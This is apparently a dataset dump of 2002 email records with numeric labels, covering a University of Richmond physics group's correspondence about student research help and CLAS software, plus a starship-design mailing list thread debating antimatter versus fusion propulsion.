-> libEG.so libPostscript.so -> libPostscript.so libPhysics.so -> libPhysics.so libTreePlayer.so -> libTreePlayer.so libTreeViewer.so -> libTreeViewer.so libProof.so -> libProof.so libHistPainter.so -> libHistPainter.so libGui.so -> libGui.so libMinuit.so -> libMinuit.so libGraf3d.so -> libGraf3d.so libGpad.so -> libGpad.so libGraf.so -> libGraf.so libTree.so -> libTree.so libHist.so -> libHist.so libNew.so -> libNew.so libMatrix.so -> libMatrix.so libCore.so -> libCore.so libCint.so -> libCint.so --------------545417B6195503BD25884759-- --------------3AC320965AB03A2BFB6E2346--",0,1 Adnan Iqbal ,ggilfoyl@richmond.edu,"Mon, 02 Dec 2002 14:20:10 -0500",vikash,"Hi there again Dr. G... I spoke to Vikash and he is eager to work for us for the long haul....he said he'd be happy to work for us for 10 weeks during the summer (starting immediately after the finals) and then will try to find an internship for the remaining 7 weeks.... He also mentioned that he knows C++ though has no prior experience with root.... please do let me know what u think and if you'd like to meet him personally sometime in the near future before making your decision.... cheers -Adnan > hi adnan, > > sorry i took so long to get back to you. there are certainly > things to do over the winter break. how familiar are you with > root? C++? i would love to have vikash jump on the bandwagon, > but my question is how long of a ride does he want. if he can > only be on board for a week or two that may not be long enough > unless he already knows things like root and C++. let me know > what you think. > > gpg > > Adnan Iqbal wrote: >> >> Hi Dr G >> >> Just thought I'd drop a quickline and say hi. >> >> Hope things are going well at your end and you're enjoying the company >> of baby 'dude'.... >> >> please do lemme know if had a chance to give the winter break project >> a little more thought....i spoke to Vikash and he's excited to join >> the bandwagon...perhaps we can catch up sometime this coming week? >> >> Happy Thanksgiving!!! >> >> cheers >> >> -Adnan >> >> > hi adnan, >> > >> > how is the new year going? hope you haven't had too many >> > catastrophes with all your 'kids'. i am going to be at >> > richmond tomorrow and i was wondering what your plans are for >> > the rest of this year and next summer. are you planning to >> > work on the cluster administration at all? i would, of course, love >> to have you. we are now getting some help from information services. >> they recently hired a linux person who is helping >> > out with all of our linux machines in the department. i also >> > have some thoughts about upgrading the new cluster next >> > summer by replacing the machines in the old cluster and adding them >> to the new cluster. >> > >> > do you have time to meet on wednesday? i will be around most >> > of the day. let me know what you think. >> > >> > gpg >> > >> > -- >> > Dr. Gerard P. Gilfoyle >> > Physics Department e-mail: ggilfoyl@richmond.edu >> University of Richmond, VA 23173 phone: 804-289-8255 >> > USA fax: 804-289-8482 >> >> Adnan Iqbal >> UR Box 0581 >> 28 Westhampton Way >> Richmond, VA 23173 >> aiqbal@richmond.edu >> (804)-662-3577 > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 Adnan Iqbal UR Box 0581 28 Westhampton Way Richmond, VA 23173 aiqbal@richmond.edu (804)-662-3577 ",0,0 haoki peemnqy ,"ggilfoyl@facstaff.richmond.edu, becky@facstaff.richmond.edu, rosemary@facstaff.richmond.edu","Tue, 03 Dec 2002 05:21:00 +0700",st ock speculation for NEW PICK friday it is [STCK REPORT] displeasing amazingly homicide,"Infinex Ventures Inc. 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If you are interested in this I can talk to Dennis Weygand and get over coherent a1 sources able to incorporate this new feature. Just let me know - I don't think it is critical. Luminita Todor postdoctoral research associate Carnegie Mellon University, Pittsburgh, PA research site - Thomas Jefferson National Facility / Hall B tel. 757-269-5538 On Wed, 4 Dec 2002, Luminita Todor wrote: > > Dear Jerry & Mike, > > At last I succeded to put together release-4-4 of CLAS software > of pscm1 /home/clas/builds. I changed the PRODUCTION link to point to > release-4-4. In the end the only executable that I copied over - since I > couldn't find how to make it link here) was gsim_int. > > I also installed a mirror of the calibration database on pscm1. > > Please let me know if you have any problem using these. Thank you for > your patience, > > Luminita Todor > postdoctoral research associate > Carnegie Mellon University, Pittsburgh, PA > research site - Thomas Jefferson National Facility / Hall B > tel. 757-269-5538 > > > > >From - Thu Dec 5 10:23:56 2002 Return-Path: Received: from argyle.richmond.edu (argyle.richmond.edu [141.166.188.18]) by tartan.richmond.edu (8.11.2/8.11.2) with ESMTP id gB4GRLt23159 for ; Wed, 4 Dec 2002 11:27:21 -0500 Received: from monty.richmond.edu (monty.richmond.edu [141.166.188.13]) by argyle.richmond.edu (8.11.6/8.11.6) with ESMTP id gB4GPpW03299 for ; Wed, 4 Dec 2002 11:25:51 -0500 Received: from penny.richmond.edu (penny.richmond.edu [141.166.188.34]) by monty.richmond.edu (8.11.6/8.11.6) with SMTP id gB4GOJX16125 for ; Wed, 4 Dec 2002 11:24:19 -0500 Received: from polyester.richmond.edu ([141.166.188.14]) by penny.richmond.edu (NAVGW 2.5.2.17) with SMTP id M2002120411254605786 for ; Wed, 04 Dec 2002 11:25:46 -0500 Received: from mailer.jlab.org (mailer.jlab.org [129.57.35.124]) by polyester.richmond.edu (8.11.6/8.11.6) with ESMTP id gB4GPkq04319 for ; Wed, 4 Dec 2002 11:25:46 -0500 Received: from jlabs2.jlab.org (localhost [127.0.0.1]) by mailer.jlab.org (8.11.6/8.11.6) with ESMTP id gB4GPYs01393; Wed, 4 Dec 2002 11:25:34 -0500 (EST) Received: from localhost (luminita@localhost) by jlabs2.jlab.org (8.12.5/8.11.6) with ESMTP id gB4GPYw2007334; Wed, 4 Dec 2002 11:25:34 -0500 (EST) Date: Wed, 4 Dec 2002 11:25:33 -0500 (EST) From: Luminita Todor To: gilfoyle cc: Mike Vineyard Subject: CLAS software & database status In-Reply-To: <3DEBDEBA.6F83DAC3@richmond.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-MailScanner: Found to be clean Status: RO X-Mozilla-Status: 8001 X-Mozilla-Status2: 00000000 X-UIDL: 38eb2673000044d8 Dear Jerry & Mike, At last I succeded to put together release-4-4 of CLAS software of pscm1 /home/clas/builds. I changed the PRODUCTION link to point to release-4-4. In the end the only executable that I copied over - since I couldn't find how to make it link here) was gsim_int. I also installed a mirror of the calibration database on pscm1. Please let me know if you have any problem using these. Thank you for your patience, Luminita Todor postdoctoral research associate Carnegie Mellon University, Pittsburgh, PA research site - Thomas Jefferson National Facility / Hall B tel. 757-269-5538",0,0 KellySt@aol.com,,"Thu, 05 Dec 2002 00:17:46 -0500",Re: starship-design: HOTOL SeaDragon idea.,"In a message dated 12/4/02 7:19:52 PM, bfranchuk@jetnet.ab.ca writes: > > To dangerous and unstable. I doubt it would be competative with >fusion. > >Other than anti-matter induced fusion regular fusion does not look >to have the mass/thust ratio needed. Also anti-matter fusion looks >practial in the near future compared to the +20 years for conventional >development. In space its the specific impulse that is more critical. And its not clear that a anti-mater system would have a better thrust to weight ration. You forget the extream weight ratin of the antimater storage and handeling gear. Also, fusino propulsion - or power - is generally considered doiable in a short term dev program if there is focused work on it. Kelly >From VM Thu Dec 5 11:36:57 2002 Content-Length: 755 X-VM-v5-Data: ([nil nil nil nil t nil nil nil nil] [""755"" ""Thursday"" ""5"" ""December"" ""2002"" ""10:25:28"" ""-0700"" ""ben franchuk"" ""bfranchuk@jetnet.ab.ca"" ""<3DEF8C08.2030803@jetnet.ab.ca>"" ""18"" ""Re: starship-design: HOTOL SeaDragon idea."" ""^From:"" nil nil ""12"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB5HRLNF010660 for ; Thu, 5 Dec 2002 09:27:21 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gB5HRLXg010657 for starship-design-outgoing; Thu, 5 Dec 2002 09:27:21 -0800 (PST) Received: from bach.ccinet.ab.ca (bach.ccinet.ab.ca [198.161.96.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB5HRKNF010640 for ; Thu, 5 Dec 2002 09:27:20 -0800 (PST) Received: from jetnet.ab.ca (gc-jet-195.jetnet.ab.ca [207.34.60.195]) by bach.ccinet.ab.ca (8.12.6/8.12.6) with ESMTP id gB5HTZPS009820 for ; Thu, 5 Dec 2002 10:29:36 -0700 (MST) (envelope-from bfranchuk@jetnet.ab.ca) Message-ID: <3DEF8C08.2030803@jetnet.ab.ca> User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.0.1) Gecko/20021005 X-Accept-Language: en-us, en MIME-Version: 1.0 References: <39.3131e85f.2b203b7a@aol.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ben franchuk From: ben franchuk Sender: owner-starship-design@lists.uoregon.edu CC: starship-design@lists.uoregon.edu Subject: Re: starship-design: HOTOL SeaDragon idea. Date: Thu, 05 Dec 2002 10:25:28 -0700 KellySt@aol.com wrote: > In space its the specific impulse that is more critical. And its not clear > that a anti-mater system would have a better thrust to weight ration. You > forget the extream weight ratin of the antimater storage and handeling gear. > > Also, fusino propulsion - or power - is generally considered doiable in a > short term dev program if there is focused work on it. I have been waiting for them to hit break even with fusion since the 1970's. The same could be said of re-usable space transport. Anti-matter designs barring getting anti-matter seem to be practical and in the reach of small industry so development could proceed faster. I don't think the anti-matter tank would be much bigger than a bell-jar. > Kelly",0,0 Steve VanDevender ,starship-design@lists.uoregon.edu,"Thu, 05 Dec 2002 10:52:03 -0800",Re: starship-design: HOTOL SeaDragon idea.,"ben franchuk writes: > KellySt@aol.com wrote: > > In space its the specific impulse that is more critical. And its not clear > > that a anti-mater system would have a better thrust to weight ration. You > > forget the extream weight ratin of the antimater storage and handeling gear. > > > > Also, fusino propulsion - or power - is generally considered doiable in a > > short term dev program if there is focused work on it. > > I have been waiting for them to hit break even with fusion since the > 1970's. The same could be said of re-usable space transport. Anti-matter > designs barring getting anti-matter seem to be practical and in the > reach of small industry so development could proceed faster. I don't > think the anti-matter tank would be much bigger than a bell-jar. If your antimatter tank is the size of a bell jar, then it won't hold enough antimatter to get anything bigger than about the size of a bell jar to even low relativistic speeds. Essentially, boosting a ship to a decent relativistic speed (which I'll call > 0.5 c for purposes of this discussion) requires additional energy input of approximately the initial rest energy of the payload. That means that a relativistic ship needs at least as much antimatter + reaction mass as payload mass to reach relativistic speeds. The situation with fusion power is worse, but in some ways not too much worse; there you need something like a 1,000,000 :: 1 ratio of fusion fuel :: payload. That's a lot of fuel, but it's much easier to store that much hydrogen than it is to store the much smaller amount of antimatter in the case above. Unfortunately ramscoops don't help the fusion situation much since scooping up interstellar gas for fuel induces drag proportional to the speed of the ship through the interstellar medium, which quickly matches the thrust you get from fusing the fuel. The expected top speed for a traditional ramscoop ends up being something on the order of 0.1 c, maybe a bit better if you do some other clever things. I keep intending to put together a sort of breezy summary of the various interstellar travel scenarios that have been considered and their various tradeoffs, partly to get some newer list members up to date, but mainly in the hopes it will revive active discussion on the list. >From VM Thu Dec 5 11:36:58 2002 Content-Length: 1578 X-VM-v5-Data: ([nil nil nil nil t nil nil nil nil] [""1578"" ""Thursday"" ""5"" ""December"" ""2002"" ""12:57:17"" ""-0600"" ""L. Parker"" ""lparker@cacaphony.net"" ""<009801c29c90$228dfeb0$0201a8c0@broadsword>"" ""34"" ""RE: starship-design: HOTOL SeaDragon idea."" ""^From:"" nil nil ""12"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB5IxlNF014803 for ; Thu, 5 Dec 2002 10:59:48 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gB5Ixj8K014739 for starship-design-outgoing; Thu, 5 Dec 2002 10:59:45 -0800 (PST) Received: from snipe.mail.pas.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB5IwrNF013209 for ; Thu, 5 Dec 2002 10:59:38 -0800 (PST) Received: from user201.net343.fl.sprint-hsd.net ([65.40.28.201] helo=broadsword) by snipe.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 18K1Bv-0000BD-00; Thu, 05 Dec 2002 10:57:43 -0800 Message-ID: <009801c29c90$228dfeb0$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <3DEF8C08.2030803@jetnet.ab.ca> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""'ben franchuk'"" Cc: Subject: RE: starship-design: HOTOL SeaDragon idea. Date: Thu, 5 Dec 2002 12:57:17 -0600 There are no true anti-matter storage containers yet. (There aren't any anti-atoms to store in one if we had one.) Scientists are still experimenting with various methods of containing anti-atoms (anti-matter). Unless the atom carries a charge (an anti-ion), there does not seem to be a simple way to isolate the atom from contact normal matter. Current anti-matter storage vessels are called Penning Traps. They are about the size of a small hot water heater. They are transportable and can carry sufficient numbers of anti-protons for research and medical usage. Note that these store only anti-particles, anti-protons to be exact. In the last few months, several different researchers have claimed to have created anti-atoms and their evidence to support their claims is being evaluated by the scientific community. The jury is still out. At the moment, the front runners in the deep space reaction engine market appear to be VASIMR and ACMF. VASIMR is basically a microwave pumped plasma engine, ACMF stands for Anti-proton Catalyzed Micro Fusion. True fusion rockets will probably never be used, the performance stats for ACMF are better than the theoretical performance of fusion engines if we ever figure out how to make one. It is expected that ACMF will lead to development of a true anti-matter drive in a few decades. Lee Parker It is by coffee alone I set my mind in motion. It is by the beans of java that thoughts acquire speed. The hands acquire trembling. The trembling becomes a warning. It is by coffee alone I set my mind in motion. -- Frank Herbert",0,0 Steve VanDevender ,starship-design@lists.uoregon.edu,"Thu, 05 Dec 2002 11:22:16 -0800",RE: starship-design: HOTOL SeaDragon idea.,"L. Parker writes: > There are no true anti-matter storage containers yet. (There aren't any > anti-atoms to store in one if we had one.) Scientists are still > experimenting with various methods of containing anti-atoms (anti-matter). Actually, I've seen a recent Science News article about physicists creating on the order of a few hundred atoms of anti-hydrogen and containing them for a brief but useful time (they started out very cold, and eventually drifted into the sides of the container where they annihilated). Containment is still a problem, but anti-atoms, at least of anti-hydrogen, are being made fairly easily. >From VM Thu Dec 5 12:17:25 2002 Content-Length: 335 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""335"" ""Thursday"" ""5"" ""December"" ""2002"" ""13:39:01"" ""-0600"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""12"" ""starship-design: Interesting paper on gravity..."" ""^From:"" nil nil ""12"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB5JdSNF012869 for ; Thu, 5 Dec 2002 11:39:28 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gB5JdS1P012868 for starship-design-outgoing; Thu, 5 Dec 2002 11:39:28 -0800 (PST) Received: from snipe.mail.pas.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB5JdSNF012851 for ; Thu, 5 Dec 2002 11:39:28 -0800 (PST) Received: from user201.net343.fl.sprint-hsd.net ([65.40.28.201] helo=broadsword) by snipe.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 18K1qJ-0004eK-00 for starship-design@lists.uoregon.edu; Thu, 05 Dec 2002 11:39:27 -0800 Message-ID: <009901c29c95$f70475c0$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design List \\(E-mail\\)"" Subject: starship-design: Interesting paper on gravity... Date: Thu, 5 Dec 2002 13:39:01 -0600 Interesting paper on gravity... http://www.lerc.nasa.gov/WWW/bpp/pdf/Robertson-JPC.PDF Lee Parker It is by coffee alone I set my mind in motion. It is by the beans of java that thoughts acquire speed. The hands acquire trembling. The trembling becomes a warning. It is by coffee alone I set my mind in motion. -- Frank Herbert >From VM Thu Dec 5 12:31:07 2002 Content-Length: 7916 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""7916"" ""Thursday"" ""5"" ""December"" ""2002"" ""14:10:59"" ""-0600"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""159"" ""RE: starship-design: HOTOL SeaDragon idea."" ""^From:"" nil nil ""12"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB5KBSNF005014 for ; Thu, 5 Dec 2002 12:11:28 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gB5KBSd2005004 for starship-design-outgoing; Thu, 5 Dec 2002 12:11:28 -0800 (PST) Received: from snipe.mail.pas.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB5KBRNF004949 for ; Thu, 5 Dec 2002 12:11:27 -0800 (PST) Received: from user201.net343.fl.sprint-hsd.net ([65.40.28.201] helo=broadsword) by snipe.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 18K2LG-0004TI-00; Thu, 05 Dec 2002 12:11:26 -0800 Message-ID: <009a01c29c9a$6e649f60$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <15855.42856.232551.539516@darkwing.uoregon.edu> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""'Steve VanDevender'"" , Subject: RE: starship-design: HOTOL SeaDragon idea. Date: Thu, 5 Dec 2002 14:10:59 -0600 As far as I am aware, the reports below are the most recent published on creation of antimatter in significant numbers. It is one of the ones I said was under review. CERN and others have been manufacturing ""antihydrogen"" for several years, but not in a way that was useful for study or in any significant numbers. This year they have actually been able to contain them long enough to do something with them. The containment device is a modified Penning Trap. Note, if you read the full paper, you will find that this just barely qualifies as an atom - there is only an antiproton and a positron. Here is the text of the news articles from AIP: Number 611 #1, October 29, 2002 by Phil Schewe, James Riordon, and Ben Stein The Internal States of Anti-Hydrogen The internal states of anti-hydrogen have been studied, for the first time, by the ATRAP collaboration, working at CERN where antiprotons are slowed and then joined with positrons to form anti-hydrogen atoms within a detector- and electrode-filled enclosure (a nested Penning trap) over the past year. This work suggests that anti-hydrogen is preferentially formed in an excited state via a three-body process when two positrons and an anti-proton collide. Only a month ago the ATHENA collaboration, working at the same CERN facility, made the first report of cold anti-H atom detection (Update 605) using techniques largely pioneered by ATRAP (the antiproton accumulation techniques, the nested Penning trap used, the positron cooling approach, etc.) So what has changed since then? Three things: (1) First of all, the ATHENA detection of anti-atoms is indirect. The presumed presence of the anti-atom (positron plus antiproton) is registered by a dual annihilation of the positron with an electron and the antiproton with a nearby proton. Complicating the detection scenario is the fact that the proton-antiproton annihilation itself sometimes spawns positrons which (when they annihilate in their turn) could falsely indicate the prior presence of an anti-atom. This class of events constitutes a background which must be subtracted out in the analysis process, and it precludes one from identifying any particular double-annihilation event as having been a genuine anti-hydrogen (sometimes written as an H with a bar over it). By contrast, the ATRAP direct detection process unambiguously identifies H-bar in a process called field ionization, which works as follows. Having formed in the center of the enclosure, neutral anti-atoms are free to drift in any direction. Some of them annihilate but others move into an ""ionization well,"" a region where strong electric fields tear the H-bar apart. Negatively charged antiprotons not in the company of a positively charged positron cannot reach the well. Once there, though, the field sunders the atom, and the antiprotons are trapped in place, leaving the positron to move off and annihilate elsewhere. By counting the number of antiprotons one knows how many anti-atoms had arrived at the well. Every event represents an anti-atom. (See figure.) (2) Moreover, one can now make a statistical study of the electric field needed to ionize the positron and deduce from this, in a rudimentary way, some information about the internal energy states of the H-bar. Thus the internal properties of an anti-atom have been studied for the first time. The observed range in principal quantum number n (n=1 corresponding to the ground state, or lowest level) goes from 43 up to 55. (3) Finally, another thing that is different in this experiment is the much higher rate of anti-H production. The collaboration spokesperson, Gerald Gabrielse of Harvard (617-495-4381, CERN 41-22-767-9813, gabrielse@physics.harvard.edu) says that more anti-H atoms can be recorded in a few hours than have been reported in all previous experiments. The ultimate goal of these experiments will be to trap neutral cold anti-hydrogen atoms and to study their spectra with the same precision (parts per 1014 for an analysis of the transition from the n=2 to the n=1 state) as for plain hydrogen. One could then tell whether the laws of physics apply the same or differently to atoms and anti-atoms. (Gabrielse et al., Physical Review Letters, 18 November; other ATRAP contacts are Walter Oelert at Forschungszentrum Julich, 49-2461-61-4156, CERN 41-22-767-1758; Jochen Walz at the Max Planck Institute for Quantum Physics, 49-89-32905-281, CERN 41-22-767-9813; Eric Hessels at York University, CERN 41-22-767-9813; ATRAP website). In recent work ATRAP sees a further increase in the antihydrogen production rate by using a small radio transmitter to heat antiprotons into making repeated collisions with cold positrons. With this higher production rate, they are able to make the first measurements of a distribution (not just the range) of excited states of antihydrogen. (For an early background article, by Gabrielse, see Scientific American, Dec 1992.) There is also an earlier article of interest: Number 577 #1, February 20, 2002 by Phil Schewe, James Riordon, and Ben Stein Cold Antihydrogen Atoms Cold antihydrogen atoms might have been made, for the first time, in an experiment at the CERN lab, where positrons and antiprotons are brought together in a bottle made of electric and magnetic fields. Nature allows the existence of antiparticles but hasn't seen fit to make a lot of them. Modest amounts of antiprotons show up in cosmic ray showers, and positrons (antielectrons) are forged in certain high-energy regions of the sky such as galactic nuclei. But if larger forms of anti-matter like anti-atoms, anti-stars, and anti-galaxies were plentiful in the visible part of the universe then we would see the catastrophic gamma ray glare from places where matter brushes up against antimatter. Such radiation has not been seen and scientists must make their own anti-atoms artificially. Making antihydrogen is difficult, however, because positrons and antiprotons, even when they can be marshaled and brought near each other, are usually going past each other too quickly for neutral atoms to form. A few years ago a dozen or so hot antihydrogen atoms were made on the fly amid violent scattering interactions at CERN and Fermilab (Updates 253, 297). These did not dally long enough to be studied, but instead expired quickly when they crashed into detectors that established the antihydrogen's brief existence. At CERN several experiments are devoted to making cold anti-atoms in a controlled environment amenable to detailed studies. The main goal here is to determine whether the laws of physics (gravity, quantum mechanics, relativity, etc.) apply to anti-atoms the same as they do to regular atoms. At this week's meeting of the American Association for the Advancement of Science (AAAS) in Boston, Gerald Gabrielse of Harvard, spokesperson for the Antihydrogen Trap Collaboration (ATRAP), reported new results. In this experiment 6-MeV antiprotons (themselves made by smashing a beam of protons into a target) are slowed by a factor of 10 billion (to an equivalent temperature of 4 K), partly by mixing them with cold electrons, and then collected in a trap. Positrons from the decay of sodium-22 nuclei are cooled and collected at the other end of the device. Eventually about 300,000 positrons are electrically nudged into the vicinity of about 50,000 antiprotons. Gabrielse believes that what sits in the trap isn't entirely a neutral plasma consisting of coincident positron and antiproton clouds, and that cold antihydrogen atoms might have formed. More diagnostic equipment being installed now may settle the issue in the coming months. A larger version of the ATRAP apparatus, which might be in operation as early as this fall, should allow the researchers to introduce some lasers for the purpose of studying the spectroscopy of prospective anti-hydrogen atoms in the trap.",0,1 KellySt@aol.com,starship-design@lists.uoregon.edu,"Thu, 05 Dec 2002 19:19:00 -0500",Re: starship-design: HOTOL SeaDragon idea.,"In a message dated 12/5/02 2:09:56 PM, stevev@darkwing.uoregon.edu writes: >The situation with fusion power is worse, but in some ways not too much >worse; there you need something like a 1,000,000 :: 1 ratio of fusion >fuel :: payload. That's a lot of fuel, but it's much easier to store >that much hydrogen than it is to store the much smaller amount of >antimatter in the case above.== And a lot of fusion fuels ae sold materials that don't need tanks, and ae pretty dense. >I keep intending to put together a sort of breezy summary of the various >interstellar travel scenarios that have been considered and their >various tradeoffs, partly to get some newer list members up to date, but >mainly in the hopes it will revive active discussion on the list. Yeah, thought of that to. Never get around to it eaither. ;) >From VM Thu Dec 5 16:27:50 2002 Content-Length: 1146 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1146"" ""Thursday"" ""5"" ""December"" ""2002"" ""19:19:02"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""33"" ""Re: starship-design: HOTOL SeaDragon idea."" ""^From:"" nil nil ""12"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB60JUNF016673 for ; Thu, 5 Dec 2002 16:19:30 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gB60JUkw016670 for starship-design-outgoing; Thu, 5 Dec 2002 16:19:30 -0800 (PST) Received: from imo-r05.mx.aol.com (imo-r05.mx.aol.com [152.163.225.101]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB60JTNF016635 for ; Thu, 5 Dec 2002 16:19:29 -0800 (PST) Received: from KellySt@aol.com by imo-r05.mx.aol.com (mail_out_v34.13.) id 4.103.20e16c2d (18403); Thu, 5 Dec 2002 19:19:03 -0500 (EST) Message-ID: <103.20e16c2d.2b2146f6@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, bfranchuk@jetnet.ab.ca CC: starship-design@lists.uoregon.edu Subject: Re: starship-design: HOTOL SeaDragon idea. Date: Thu, 5 Dec 2002 19:19:02 EST >Current anti-matter storage vessels are called Penning Traps. They are >about >the size of a small hot water heater. They are transportable and can carry >sufficient numbers of anti-protons for research and medical usage. Note >that >these store only anti-particles, anti-protons to be exact. Well thats all you want. Anti atoms are nutrally charged, which makes thm far easier to handel. == >At the moment, the front runners in the deep space reaction engine market >appear to be VASIMR and ACMF. VASIMR is basically a microwave pumped plasma >engine, ACMF stands for Anti-proton Catalyzed Micro Fusion. True fusion >rockets will probably never be used, the performance stats for ACMF are >better than the theoretical performance of fusion engines if we ever figure >out how to make one. It is expected that ACMF will lead to development >of a >true anti-matter drive in a few decades. How can a ACMF motor have significantly more power then a pure fusion drive, given the bulk of th power is from the fusion engine? Also fusion engines aren't a big problem. They ae far easier to make then fusion power reactors. > >Lee Parker >From VM Thu Dec 5 17:42:14 2002 Content-Length: 2086 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2086"" ""Thursday"" ""5"" ""December"" ""2002"" ""18:30:07"" ""-0600"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""65"" ""RE: starship-design: HOTOL SeaDragon idea."" ""^From:"" nil nil ""12"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB60WONF024267 for ; Thu, 5 Dec 2002 16:32:24 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gB60WOvG024266 for starship-design-outgoing; Thu, 5 Dec 2002 16:32:24 -0800 (PST) Received: from conure.mail.pas.earthlink.net (conure.mail.pas.earthlink.net [207.217.120.54]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB60WNNF024257 for ; Thu, 5 Dec 2002 16:32:23 -0800 (PST) Received: from user201.net343.fl.sprint-hsd.net ([65.40.28.201] helo=broadsword) by conure.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 18K6ON-0002b5-00; Thu, 05 Dec 2002 16:30:55 -0800 Message-ID: <000201c29cbe$a1b92560$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Importance: Normal In-Reply-To: <103.20e16c2d.2b2146f6@aol.com> Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: , Cc: Subject: RE: starship-design: HOTOL SeaDragon idea. Date: Thu, 5 Dec 2002 18:30:07 -0600 Antiproton Catalyzed Micro Fusion (ACMF) engines ARE fusion engines, but the fusion reaction is catalyzed by anti matter. The ISP and thrust figures are based on a lower overall weight and greater efficiency than a ""conventional"" fusion engine. I emphasized conventional, because there are no conventional fusion engines, so comparison is automatically suspect! Nevertheless, the performance figures given are based on the ACMF prototype, which DOES exist, and currently accepted figures for a theoretical fusion engine. How accurate those theoretical figures are is anybody's guess. Lee > -----Original Message----- > From: KellySt@aol.com [mailto:KellySt@aol.com] > Sent: Thursday, December 05, 2002 6:19 PM > To: lparker@cacaphony.net; bfranchuk@jetnet.ab.ca > Cc: starship-design@lists.uoregon.edu > Subject: Re: starship-design: HOTOL SeaDragon idea. > > > > >Current anti-matter storage vessels are called Penning > Traps. They are > >about > >the size of a 